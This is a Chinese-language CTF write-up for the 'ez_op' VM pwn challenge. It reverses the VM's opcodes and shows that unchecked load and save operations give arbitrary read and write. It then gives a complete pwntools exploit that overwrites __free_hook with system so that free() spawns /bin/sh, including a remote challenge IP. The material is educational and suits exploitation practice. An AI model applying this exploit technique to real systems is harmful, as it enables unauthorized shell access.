题目分析

首先根据入口点找到main函数,一般入口点就是IDA里Export窗口的start函数。

可以看到上面main函数的逻辑是:

  1. 使用mallocinfo函数为操作数分配空间,为操作码分配空间。

  1. 读入操作码至buf中,并将其转换成整数形式保存在opcode中;操作数同理保存在oprand中
  2. 进入大循环loop函数,就是本题的虚拟机,后面详细讲解。
  3. 使用freeinfo函数释放分配的空间

loop函数就是虚拟机,主要逻辑是一个大循环,每次循环完成一个操作码对应的功能。那么怎么知道每个操作码对应什么功能呢,我觉得对我来说只能慢慢逆向+猜吧。这个题目的功能有save、load、push、pop、加减乘除,最后逆出来的效果就是下面这样:

漏洞点在于load和save都没有检查是否越界,所以可以任意地址读写。

首先看load。

  • 分开来看。我给虚拟机的栈起名叫做vstack,真实的栈叫stack。heappop2stack函数的功能是:从第一个参数中pop出一个值并将其赋值给第二个参数,这个第二个参数是一个栈变量。stack2heap函数的功能是:将第二个参数的值push进第一个参数。

  • 整体的逻辑就是从vstack中pop一个偏移,然后push vstack[偏移]到vstack栈顶。

save函数同理,整体的逻辑是从vstack中pop一个偏移,再从vstack中pop一个值,最后将这个值赋给vstack[偏移]。

漏洞利用

利用方法就是通过任意地址读写改freehook为system,然后构造system(“/bin/sh”)。需要注意的是vstack的调用顺序。

具体构造如下:

  1. 因为heap地址会随机化,所以不能直接通过偏移获取freehook的地址,但是可以通过相对地址获取。可以看到vstack->addr[69]处就是vstack->addr,所以可以load这个地址;然后和freehook进行相减sub,此处需要注意的是减数靠近栈底,被减数靠近栈顶,因为freehook比heap地址低,所以可以将freehook设为被减数,相减后得到一个负数;再将这个负数除div4就可以获得偏移,同样需要注意除数和被除数的关系,需要提前将4放进栈中。

  1. 使用save将system的地址存放到freehook中去,在vstack->addr中构造’/bin/sh’。退出循环后freeinfo函数中调用了free(vstack->addr),可以触发system(‘/bin/sh’)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./ez_op.dms')
else:
io = remote("112.126.101.96",9999)
elf = ELF('./ez_op.dms')

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

load = -1
save = 0x10101010
push = 0x2A3D
pop = 0xFFFF28
add = 0x0
sub = 0x11111
mul = 0xABCEF
div = 0x514

freeh=0x080E09F0
system=0x08051C60
bin_sh=0x080B088F

def app(op):
global c
c+=" "
c+=str(op)
#gdb.attach(io,"b *0x0804A127")
#opcode
c=''
app(push)
app(push)
app(push)
app(load)
app(push)
app(sub)
app(div)
app(push)
app(add)
app(save)
app(push)
app(push)
io.sendline(c)
#oprand
c=''
app(system)
app(4)
app(67)
app(freeh)
app(1)
app(0x6e69622f)
app(0x0068732f)
io.sendline(c)

io.interactive()

exp中为什么load堆地址时用67而非69呢,是因为在load前已经push了两个值,所以偏移为69-2=67。

END